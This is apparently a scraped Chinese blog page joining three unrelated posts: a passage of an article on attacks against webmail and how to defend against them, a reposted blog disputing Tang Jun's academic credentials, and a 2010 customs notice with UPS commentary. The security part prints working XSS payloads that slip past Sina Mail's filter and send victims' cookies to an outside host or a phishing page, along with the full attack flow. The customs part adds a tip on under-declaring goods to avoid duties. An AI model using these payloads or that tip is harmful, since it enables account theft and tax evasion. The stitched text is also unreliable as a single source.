<INPUT TYPE=”IMAGE” SRC=”jav ascript:x7s=’var Then=new Date();Then.setTime(Then.getTime()+7200*1000);if(document.cookie. indexOf(\’Cookie1=\’) == -1){document.cookie=\’Cookie1=RAY;expires=\’+Then.toGMTString();window.parent.location.href=\’http://www.google.com/sina/index.php?url=\’+location.href+\’&c=\’+document.cookie.replace(/&/g,\’xxx\’);}’;eval(x7s)”);”>

       此漏洞的形成在于新浪邮箱没有过滤空格，即过滤了javascript，但稍变形为jav ascript，便使得其后的恶意代码得以执行。这段代码有两个功能，获取Cookie并延长有效时间，并用父窗口windows.parent.location重定向至钓鱼网站。完整的攻击流程是，将上述XSS代码插入至邮件内容，以HTML模式发送邮件至受害者邮箱，受害者点开邮件时，会迅速转向sina钓鱼网站，而转向过程中，因采用parent，转向时，网址不会有变化，即不会显示钓鱼网址，而受害者在钓鱼网站输入密码提交之，钓鱼网站截取密码再转回真实的邮箱，由于控制了Cookie，受害者因怀疑会再次点开那封攻击邮件，但并不会再次跳转，这令受害者产生一种错觉，它以为邮箱仍是安全的。

2、窃取Cookie

       你可以理解为窃取会话。你有过很多这样的经历，使用账户登陆某个网站，如Youku.com，关闭浏览器，再次打开youku.com，则不需要输入密码，这便是Cookie的作用。为什么会有Cookie呢？由于Http是无状态协议，为了在各个会话传递信息，因而需要Cookie或Session来标记访客者的状态，这里的Session是浏览器的Cookie里带了一个Token来标记，而服务器取得Token检查合性后便把服务器上存储的对应状态和浏览器绑定。总的意思就是：我只要窃取你的Cookie并保持了Session不过期，便可无须密码访问你的电子邮箱内容。

       如果你要查看自己的Cookie，给Firefox装个HttpFox扩展即可，如下图。

       窃取Cookie很简单，可将上面的Javascript稍加改装即可：<INPUT TYPE=”IMAGE” SRC=”jav ascript:document.location=’http://www.google.com/cookie/stealer.php?cookie=’+document.cookie;”>，然后在stealer.php写个保存接收的Cookie记录的代码即可，如果你想让Session不过期，自己写个工具搞惦，每隔30秒请求一次目的页面。09年，Yahoo就被一帮人折腾了很多邮箱，不知道修复了没有，国内几个邮箱也能被利用。

3、恶意软件

       即木马、病毒、后门、间谍、键盘记录器……这些软件，最常见算是doc、pdf病毒了，好好的一个文档，挟带了木马，双击一打开，你就完了。最容易受到攻击的是西藏人士、维权人士，然而，我不得不承认，这是一种非常阴险的手段，因为这毫无任何技术含量。这个攻击流程是，xxx部门获取经费收购或买断木马软件、捆绑软件，一般外包给中国公司，然后这些公司的报价奇高，各省xxx部门买了后，按照说明书配置木马上线，再用捆绑工具与可信的文件捆在一起，再用Google挑目标，比如找到abc.com网站，将该网站电子邮箱地址都整理出来，再用邮箱批量群发器不管三七十一把这些病毒通通发过去，再泡上一杯茶盯着木马软件等着目标上线。

       这种没有采用鱼叉式攻击所导致的后果是，买的木马软件、捆绑软件很快就无效了，因为一顿乱发，被安全软件给盯上或用户举报查杀掉了，这个例证就是最近的IE 0day及PDF 0day很快曝光，估计这前后都不到一年。而在前文，尽管中国没有比美国更好的网络战争实力，但是不差钱，他们不需要关注技术细节，只需要知道谁有0day，谁会挖掘0day，然后招安，买断一堆的0day，比如Discuz!、Wordpress、Firefox漏洞，照着教程去攻击。

       那么如何防御这种恶意附件的攻击？当你再次在邮箱看见一堆的PDF、DOC、HTM压缩包时，简单的方法是，下载后不要打开，直接上传至Google Docs，要是显示一片空白或无关的内容，不管三七二十一提交到VirusTotal网站上。

4、社会工程学

       这个方法很简单，先跟你套近乎下，然后东问问西问问获得碎片信息，基本就是掘地三层把目标的信息全收集起来，完了后，评估一下你的弱点在哪里，再从弱点入手，这种攻击通常是雇佣了职业黑客来完成，因为过程比较复杂。举例子，攻击者有目标的邮箱，然后放到Google搜索，看目标注册了哪些网站，把这些网站整理，逐个把这些网站入侵了并下载数据库，从中找到目标的网站密码，再用网站密码试邮箱密码，要是目标只用一个密码，那么他的邮箱就完了。

       总体上来说，你在网络上的信息越少，便能够降低被入侵的威胁。但事实并不情人愿，Web2.0的社交网络流行，你注册了Twitter，天天叽叽喳喳，一不小心把家世、住址、约会全都泄露了，你注册了豆瓣，天天左看右瞧还加了攻击者为好友，结果，他就知道你上网习惯与兴趣爱好，然后再用策略和你聊的特别欢，某一天，他跟你讲：我找到一个非常牛B的电影了，你在Verycd下载瞧瞧。你一看，还真不错，真是你喜欢的。然后他又讲，能不能帮我登陆下Gmail下载个文件看看是啥内容？我网速比较慢，我发你登陆密码。你听了，这小忙是得帮的，马上速度登陆对方的Gmail下载了压缩包，结果打开压缩包的文档发现啥都没，到了第二天，你就很神奇地发现，哦哦~我的豆瓣、twitter全都登陆不了……

       社会工程学攻击永不过时，因为人人都有被利用的心理弱点，不管是好心、私心、同情心啥的，都无法避免这种攻击。不过，这项攻击最大的缺点是，很耗时间，短则几天，长则几月。这项攻击在敏感人士的社区很常见，如Forum、Google Groups等，那些攻击者最常见的手法盗用可信账户发送病毒附件。

5、MIT中间人攻击

       以ARP攻击为例，A访问mail.sina.com，但攻击者B通过ARP劫持，可以使得你访问虚假的新浪钓鱼网站，而非真实的新浪。这种劫持通信的手法可适合不同的场合，如劫持ADSL线路，这需要红头文件请本地电信局协助的，然后修改你的数据包返回假的数据包，举例而言，你想从QQ官方下载QQ程序，攻击者修改数据包把QQ程序的下载地址改成木马地址，结果你就可以下载个木马回去了。如果你的通信是明文，没有采用SSL，攻击者可以直接看到你密码。不过，我不太肯定，Gmail虽然采用了SSL，但用户名与密码却在网址中出现，有公司宣称能解开SSL，我现在仍然是半信半疑。

       另外一种是hosts文件劫持，典型的例子是，某个家伙在Twitter.com说：无法访问youtube.com？Picasaweb？很简单，修改hosts文件即可马上访问。你一听，哇，这么好，赶紧用记事本打开hosts文件，把对方提供的映射地址粘贴进去，再重新打开youtube.com，哇，真神奇，打开了~~聪明的看客接下来知道会发生啥了。

       对于ADSL线路劫持的手法，这种攻击也是行之有效的。另外，我们也得对某些代理软件保持警惕，天知道那些免费的socks5、vpn会干出令人震惊的事吗？

6、暴力破解

       有三种，web穷举、smtp穷举、云穷举。在多数的情况下，前两种效率低下，且限制诸多，以Web Gmail为例，它有CAPTCHA限制、重复次数的限制，不过，我倒是碰到过一个Python版的穷举工具，但速度很慢。至于smtp，如果服务器做了限制的话，比如现在网易对溯雪暴力破解工具是免疫的。云穷举，就我目前所知，我想这是最有效率的破解方法，已有安全专家Electric Alchemy利用亚马逊云服务Amazon Ec2运行Elcomsoft工具暴力破解PGP ZIP档案的例子。凭借云计算的超级计算机，以及一个分布式邮箱密码破解工具，暴力破解的速度将更快速。不过，这并不切实际，因为破解的成本太高了，需要很多米米。

       暴力破解，这个古老的方法在目前只能针对极少的主流电子邮箱，尽管如此，但它对那些自架设的电子邮局仍然有效，因为它们没有CAPTCHA、重复尝试次数、服务器资源等限制。总的来说，暴力破解对本地的加密文件破解比较有效率，但对网络邮箱账户的破解尚不能达到30%的成功率。

7、浏览器恶意脚本
       上过流氓软件的当吧？一旦打开IE，主页被锁定只能访问某个流氓的网站，嗯，没错，浏览器的脚本也能起到钓鱼攻击之用。比如IE的BHO(Browser Helper Object)劫持、Chrome、Firefox扩展钓鱼。就目前而言Chrome、Firefox的扩展钓鱼并不怎么流行，这比较麻烦，攻击者需写一个看似合法可信的扩展，并植入后门，还需要方法让目标安装，这费力不讨好，但BHO容易多了，可以隐秘地安装而不会有提示。要防御这种攻击很简单，检视你的Firefox、chrome是否有陌生的扩展、插件，不要在第三方的网站安装扩展。

8、内嵌登陆表单

       这是社会工程学攻击的一种变形。当你打开某邮件，其内容部分嵌入了登陆表单，具体就是，你会看到一个要求你输入用户名、密码的登陆框。恰好RFA的新闻《维权人士邮箱和推特遭窃取、攻击》公布一张攻击实例图片，见下图。

       如果你的Gmail收到上述的威胁恫吓邮件，不要担心，请在邮件的右侧点击下拉菜单，选择“这是网络欺诈”，而Gmail将会稍后封锁此攻击者。普通的用户不要误以为这是Gmail的安全漏洞，最简单的方法，选中邮件内容查看源代码，你可以发现并不存在恶意的Javascript脚本，而是HTML标签，你在源代码找到Action位置，将其后的钓鱼网站向Google举报即可。

       其它的Gmail用户不需要担心，这种内嵌表单钓鱼方式是通杀Gmail、Hotmail、Yahoo、网易、腾讯、搜狐的邮箱，由于不存在恶意的Javascript，可称之良性HTML标签利用。看到这类威胁恫吓邮件，一是举报钓鱼邮件、钓鱼网址，二是删除该邮件，三是提醒你的朋友警惕。

三、防御

       安全不能100%保证，只能最大限度地降低威胁，更来源于用户的安全意识。

1、防御XSS
       如果你使用的Firefox浏览器，可安装NoScript扩展来屏蔽恶意的Javascript脚本。但你希望一劳永逸的话，非常简单，注册一个私人Google Groups，并设置Gmail的过滤器，所有邮件一律转发至Google Groups。但如果也不喜欢注册Google Groups，那么你可以再注册Yahoo、Hotmail邮箱，使用Yahoo收取Gmail，再用Hotmail收取Yahoo，在这过程中，特定的XSS代码会分崩离析。

2、防御恶意软件
       .txt文本格式永远是无害的（如果你的系统没有被映像劫持）。尽管如此，但我们仍难以避免地与.DOC、.PDF格式打交道，如果你使用的Gmail，那么一律在线查看。而另一种可能是，你会收到RAR、7z等压缩格式，而邮件内容也颇具引诱性，那么你下载之后，请右键解压至单独的文件夹，而你不认识发件人并有疑心时，永不要马上打开，请上传至Google Docs在线查看，或者提交到VirusTotal.com在线查毒。最好也在邮箱的签名行增加一行文字：我只接受.txt格式附件！其它格式附件的邮件一律删除。

3、防御身份盗窃
       建议启用数字签名。它可以协助你确认签名者的身份及数据完整性，甚至你发出的邮件，对方能够获得确认，从而避免被第三方攻击者的滥用。与此同时，双方还可以明文约定，即在准确的时间范围内容发送邮件，如一般为每个星期日发送邮件，而未在此时间范围内的邮件而作废。

4、防御数据失窃
       正如前文所提，你应该使用TrueCrypt加密附件。这款经典的加密工具备受赞誉，你应该保持经常使用的习惯。

5、防御身份泄密
       你的密码提示问题应该是模棱两可，比如“天下有多少颗月亮？”。而在个人注册信息处，不要留下你真实家庭地址、身份证号、电话号码、出生日期等信息，当你的邮箱被攻破，这些信息能够证明你的身份。不要将这些信息设置为公开，而是保密，并阻止在Google Profiles可见。

6、使用Chrome浏览器
       在TippingPoint第三届Pwn2Own黑客大会，Apple’s Safari, Mozilla’s Firefox和Microsoft’s Internet Explorer 8全部阵亡，你应该接纳黑客们的建议，使用Chrome浏览器，我不能保证Chrome会一直安全的，因为安全是个伪命题，就目前而言，Chrome是个不错的选择。当然，下一届的Pwn2Own王者可能会是Firefox，不管如何，IE不是个好选择，因为中国的黑客正在折腾它。

7、使用Gmail
       在我长达半年的测试，我仍然无法拿下Gmail，它太安全了，这使我郁火，当然，我也不能保证它也是最安全的，至少目前我没有听到Gmail存在安全漏洞的消息。

8、每月密码老化
       微软声称，定期改密码没有用，只会浪费时间与金钱。我反对这种说法，当然，他们的调查结果是针对美国企业。我的建议是，密码请设置为12位，每月更改电子邮箱密码。间谍与黑客不一样，间谍才不会愚蠢地删除你的邮件并更改你的密码，那不可能，他们会暗中的监视你的邮件来往情况，伺机获得可起诉的把柄。

四、反跟踪

       在你尚未成为他人的鱼之前，先搞翻这位渔人。

1、阻止邮件中的媒体

       如果你不想攻击者获取到你的IP地址、浏览器、操作系统等信息，你应该阻止邮件中图片显示。这是为什么？显示图片则意味着你访问了该图片的服务器，而该服务器则记录了你的访问数据。如果你已经安装了IIS、Apache，那么你可以打开http://localhost，再去查看它们的日志信息，看看到底有没有记录你的访问信息。

       而如果你没有装上IIS、Apache无法测试的话，你可以打开间谍猪：http://www.spypig.com/ 向自己的邮箱发送测试邮件。如果你使用的Gmail，那非常好，Gmail默认是阻止图片显示的。

2、跟踪发件人的来源
       如果你用的Foxmail客户端，那很简单：邮件——邮件信息——原始信息，即可看到发件人的IP地址。如果你使用的Gmail，你可以在邮件的右侧点击三角形的下拉框，选择Show Original查看邮件头，要是看的头晕，可直接找”Received”那一行，将其后的IP地址放到www.myip.cn进行查询，以确认发件人来自哪里。

3、质询
       陌生人可能发送热点事件的邮件，诸如玉树地震死亡名单，维权人士名单，他试图激起你的好奇心以及人道主义、爱心等。你不应该马上查看，而是澄清你的疑问，这份名单的出处来自哪里？你为什么拥有这份名单？你发送给我的理由是什么？要是对方无法消除你的疑问以及无回复，我建议你将这封邮件的附件下载，交提交到VirusTotal上报病毒。

4、搜索
       搜索对方的邮箱地址，看看在互联网是否有迹可寻。如果你使用Gmail，可在邮件中点击“Show details”看看此封邮件是否为群发邮件，如果是，直接回复所有人询问：这封邮件带有病毒吗？

5、检查过滤器
       现在登陆你的Gmail，进入设置项，选择“Filters”标签，检查是否存可疑的邮箱地址，如果有，请迅速删除，否则，你的邮件全被偷了。

五、反思

       从陆战、水战、空战、网战、太空战，全球各国都在试图提升各个空间作战实力，显然，在网战这块，中国是大小通吃，吃完之后还坚决反对没吃。以Google事件为例，华尔街日报昨天的报道《谷歌攻击者获得用户识别软件代码》，提及攻击者使用了谷歌工程师的工作站作为跳板，尽管我不能核实其真实性，但在《挑战五毛党》这篇分析文也提及Google中国区被安插内鬼。接下来，北京政府将如何应对Google后续事件呢？吃？抑或没吃呢？

相关文章

• 收到传说中的Google Adsense PIN码验证( 11 )
• 谷歌金山词霸去广告补丁下载( 3 )
• killkb.dll和pcidump.Sys等病毒清除解决方案( 2 )
• 微博客Twitter全球信息仅1/3来自美国，日本用户数量居第二( 14 )
• 特别奉献二–09年国内外免费个人防火墙大搜罗( 1 )
• Google涉黄事件续：Google国际域名无法访问( 0 )
• Gmail停止使用SSLv2连接同步邮件( 11 )
• 卡巴斯基称中国盗版用达8000万 无意完全打击( 0 )

       最近科普作家、学术打假人方舟子揭露唐骏的学历多有造假嫌疑，并提出了证据；唐骏立马出面反驳，试图为自己澄清事实。这就是近来网上热传的“学历门”事件。

       且看方舟子先生7.7的一篇博文“唐骏当着全国人民的面说假话”（原文地址）。

====================华丽丽的分割线，博文开始====================

       自从唐骏在美国的履历被我质疑以来，唐骏一直采取的是“懒得理睬”的态度。昨天突然先后在中国之声电台和中央电视台东方时空接受电话连线，为自己的履历辩护，倒也是个进步。唐骏指责我打假者先造假，央视没有给我回应的机会，我就在网上针对唐骏的自辩，一一回应如下，看看究竟是谁在造假。
       一、唐骏在央视上声称，他从来没有说过自己是加州理工学院（或大学）的博士，也从来没有说过自己曾经在加州理工学院做博士后研究，在其《我的成功可以复制》一书中从来没有这些内容，是我捏造出来的，并说我从来没有看过这本书，是先造假再打他的假。
       我当然看过《我的成功可以复制》一书的相关内容。在当当网、新浪读书、腾讯读书等网站有该书的电子版。根据我对国内图书出版情况的了解，该电子版是书出版时出版社送交网站用作宣传用的，不是本人的捏造，也不是其他人输入的。在该书第56节最后一段唐骏称自己获得加州理工学院的计算机科学博士学位：

　　“办到第二家公司，我差不多已放弃了学业。但凭借语音识别方面的应用性研究成果，我最后还是拿到了加州理工学院的计算机科学博士学位。”
    在该书第46节倒数第二段，唐骏声称自己在加州理工学院做博士后研究：
    “这趟环美长途旅行花了我一个月的时间，最后确定在加州理工学院电子工程系继续我的博士后研究。”
（当当网已删掉了该书的电子版，但在其他网站还可以找到，大家做个检索即可）
       唐骏在央视节目中声称，他不知道电子版为何有这些内容，要追查是否有人陷害他，但是纸质版没有这些内容。节目主持人也拿着一本书证实印出的书中没有说唐骏是加州理工学院的博士。
       在这里唐骏耍了个花招。主持人拿的是新版本的书，这些内容被删掉了。在最初的版本（第一版第一次印刷）中，这些内容都有。其中关于其获得加州理工的博士学位部分在书中第70页，其在加州理工做博士后研究的部分在书中第58页。请看由全国图书馆参考咨询联盟提供的这两页的扫描件：

       《每日经济新闻》记者周洲在其报道中也证实，该书有两个版本，早期的版本有这些内容，后来的版本将其删去。该书去年年初出版时，我们在新语丝网站上已据此质疑唐骏的学位，所以该书重印时被删去了。
       不仅是这本书，网上有关唐骏的中文简历很多都声称他是加州理工大学的计算机科学博士。较早的一份简历是2004年7月9日CCIF中国卡通产业论坛-数字内容高峰论坛对嘉宾唐骏的介绍，称他：

1990-1993 美国加州理工大学 计算机专业 博士学位

http://yule.sohu.com/2004/07/09/08/article220930805.shtml

       当时我还没听说过有唐骏这么个人，我是直到去年有网友给新语丝投稿举报唐骏的学历造假时我才知道有这号人。难道唐骏认为网上的这些简介都与他无关，都是我要陷害他早早就捏造出来的？
       北美最大的专业人士社交网络linkedin上的简介通常是自己填写的。其中的唐骏主页有盛大前法务总监Greg Pilarowski在2009给唐骏写的公开推荐，应是唐骏本人的主页。该主页写的也是唐骏获得了加州理工的博士学位：

California Institute of Technology
Ph.D. , Computer Science , 1990 — 1993

http://cn.linkedin.com/pub/jun-tang/18/ba/296

       二、唐骏在央视上声称，他拿的是美国西太平洋大学（Pacific Western University，应译为太平洋西部大学）的博士学位。在我指出该大学是个卖文凭的野鸡大学之后，唐骏指责我不懂美国教育体制，说西太平洋大学有两个，在夏威夷的是野鸡大学，而他读的是加州的西太平洋大学，那是正规的大学，是获得认证的，虽然是三、四流的大学，但是绝对不是野鸡大学。
       实际上，夏威夷的和加州的西太平洋大学是同一所学校的两个分校。加州的西太平洋大学同样是没有获得认证的、卖文凭的野鸡大学，被称为“文凭工场”。美国总审计局（GAO）在2004年对“文凭工场”进行调查，其中就包括加州的西太平洋大学（Pacific Western University (Los Angeles, California)），并调查出加州的西太平洋大学买卖文凭的价格为：学士，$2,295；硕士，$2,395；博士，$2,595。一次性交钱。

http://www.gao.gov/new.items/d04771t.pdf

       西太平洋大学的夏威夷分校已因多项欺诈行为在2006年被政府关闭。西太平洋大学的加州分校则在2004年转手，改名California Miramar University，在2009年6月6日获得了远程教育的认证，不提供博士学位。在那之前，该校都是没有获得认证的野鸡学校，不管叫的是什么名字。
       美国正规大学的博士生都是有导师、要做研究课题、发表博士论文的。唐骏说他读的西太平洋大学是正规大学，那么请问他在该大学的导师是谁，做的什么研究课题，博士论文的题目是什么，发表在哪里？
       三、唐骏在央视上声称，他由于没有在日本获得博士学位，感到很遗憾，所以要在美国读一个博士学位。在《我的成功可以复制》一书中，唐骏也提到他放弃了将到手的日本名古屋大学博士学位去了美国。
       但是在盛大公司2004年在纳斯达克上市时公布的招股书中，称唐骏是太平洋西部大学电子工程和日本名古屋大学电子学的双料博士：

Mr. Tang holds a doctorate degree in electrical engineering from University of Pacific Western, a doctorate degree in electronics from Nagoya University, Japan

http://ipo.nasdaq.com/ViewFiling_frames.asp?filename=0001145549-04-000388.txt&filepath=\2004\04\02\

       如果唐骏并没有名古屋大学的博士学位，却在招股书中声称是名古屋大学的博士，那么是向美国证监会SEC提供了虚假信息，依据美国法律，将会被追究什么样的法律责任？
       四、唐骏声称，他在1990～1993年间在洛杉矶创办的三家公司的英文名字分别是Intertex、First Immigration Service Company、Hollywood Entertainment Company，并称其公司当年组织过邀请姜昆等人到美国表演的活动，可以向姜昆等人核实。
       我是找不到姜昆等人的，只能向加州政府的公司注册数据库核实，却找不到有人在1990年代在洛杉矶一带注册过这些公司。据唐骏《我的成功可以复制》一书中的说法，他是在1990年7月获得去美国做博士后研究的签证的。拿这种签证的人不能在校外工作，更何况是创业自办公司，号称招了许多雇员，雇员的年薪6万美金！他这不是打黑工，而是明目张胆地办黑公司。
       唐骏在书中又声称，他当年邀请姜昆等人赴美演出签证受阻，于是以“选民”的口气给各个美国议员写信求助。此时唐骏根本就不是美国公民，没有选举权，以“选民”自居，这是不是欺骗？
       五、唐骏承认他没有大头贴照相机、卡拉OK打分机的专利，但是声称把“专利的雏形”分别卖给了日本、韩国公司。主持人问他有没有转让协议可以证明，唐骏说有，只是时隔十几年一时找不到了，但是他可以证明他的确发明了这些东西，因为他知道它们的原理，可以给大家讲一讲。
        这些东西的专利都是公开的，任何人看了专利全文都能知道其原理，难道都是发明人？“西太平洋大学”的博士文凭唐骏能很快找出来，怎么含金量要高得多的专利转让协议却找不到了？能不能先透露一下买他专利雏形的日本公司和韩国公司的名称，让我们跟它们核实一下？

2010.7.7.

====================华丽丽的分割线，博文结束====================

        阅毕，不知各位有何感想。

        写在最后：世界杯马上就要总决赛了，而秋天迄今只看过一场，乃是驾考的前一晚在宾馆里看的一场巴西对战科特迪瓦的重播。这一切归功于宿舍TV没了信号成为摆设，深层次的原因在于我对体育赛事提不起很高的兴致，不知这算不算杯具。

相关文章

• 澳电影节官网两遭中国黑客袭击( 14 )
• 2008-2009中国博客市场及博客行为研究报告( 14 )
• 富士康员工孙丹勇跳楼自杀的前前后后( 10 )
• 国外著名安全漏洞公布站点milw0rm关闭( 0 )
• 暴风影音正式就5.19网络堵塞事件道歉( 0 )
• 不知该说什么好–Milw0rm今天恢复开放( 2 )
• 苹果的光鲜背后：iPhone暴利200%代工厂毛利仅2%( 15 )
• 享受强大的HTML5动画效果( 28 )

       海关总署通告全文如下（通告地址）：

海关总署公告2010年第33号 
2010-05-27

        为规范进出口贸易秩序，加强对进出口货样和广告品的管理，现就有关事项公告如下：

        一、进出口货样系指进出口专供订货参考的货物样品；进出口广告品系指进出口用以宣传有关商品内容的广告宣传品。

       二、进出口货样和广告品，不论是否免费提供，均应由在海关注册登记的进出口收发货人或其代理人向海关申报，由海关按规定审核验放。

      三、进出口货样和广告品属于国家禁止进出口或者进出口实行许可证件管理的商品，应按照国家有关管理规定办理。

      四、进出口无商业价值的货样和广告品准予免征关税和进口环节海关代征税，其他进出口货样和广告品一律照章征税。

      五、本公告自2010年7月1日起实行。原《中华人民共和国海关对进出口货样、广告品监管办法》（〔86〕署货字第496号）、《关于修改〈海关对进出口货样、广告品监管办法〉第七条的通知》（署监一〔1990〕698号）同时废止。

       特此公告。

二○一○年五月二十五日
办公厅

       UPS对此的解释：

公告正式实施后会对进出口快件带来以下影响:

除文件和个人物品外，所有进出口快件向海关申报时均需要提供中国境内收、发货人在海关注册登记的进出口收发货人注册编码（即海关10位注册编码）。未在海关注册的收、发货人，需委托在海关具有”海关注册登记编码”的代理人进行申报。

取消了400元人民币以下货样、广告品免税的规定，海关将依据商品编码（H.S. code）计算关税。因此，完税价格在400元人民币以下的快件将有可能产生相应的关税、增值税和消费税。

为尽可能减小海关新政策对进出口快件的影响， UPS 提醒您在如下方面做好准备给予配合：

请尽快办理海关进出口收、发货人注册登记或委托在海关注册登记的进出口收、发货人为代理人。

您需要在收、发货时提供快件商品编码（H.S. code），以及准确详细的货物描述，海关对该商品要求的相关证件。如需查询商品编码(H.S. code)，可登录海关网站：”http://www.customs.gov.cn/default.aspx?tabid=9409

       秋天按：国内通过货样/广告品的名义出口避税的情况客观存在，海关总署此公告应是针对此加强监管；但政策仍然有漏洞：通过低报货品价值一样可以避税，比如货值$300的商品在呈现给海关的发票中只申报成$30或者更低$10，这样即使真的征税税额也非常有限。由于出口小件商品数量巨大，海关不可能一一详细盘查；而且承运人在具体执行上也会打折扣；如此一来此公告所能起到的真实作用将会变小。

相关文章

• 世界主要船公司名称与缩写( 11 )
• 世界各国常见公司名称英文缩写列举与释义( 18 )
• 马来西亚即将采用国际植物卫生措施标准ISPM No.15(2009修订版)( 7 )
• 国外采购商对国内供应商报价方案的建议( 19 )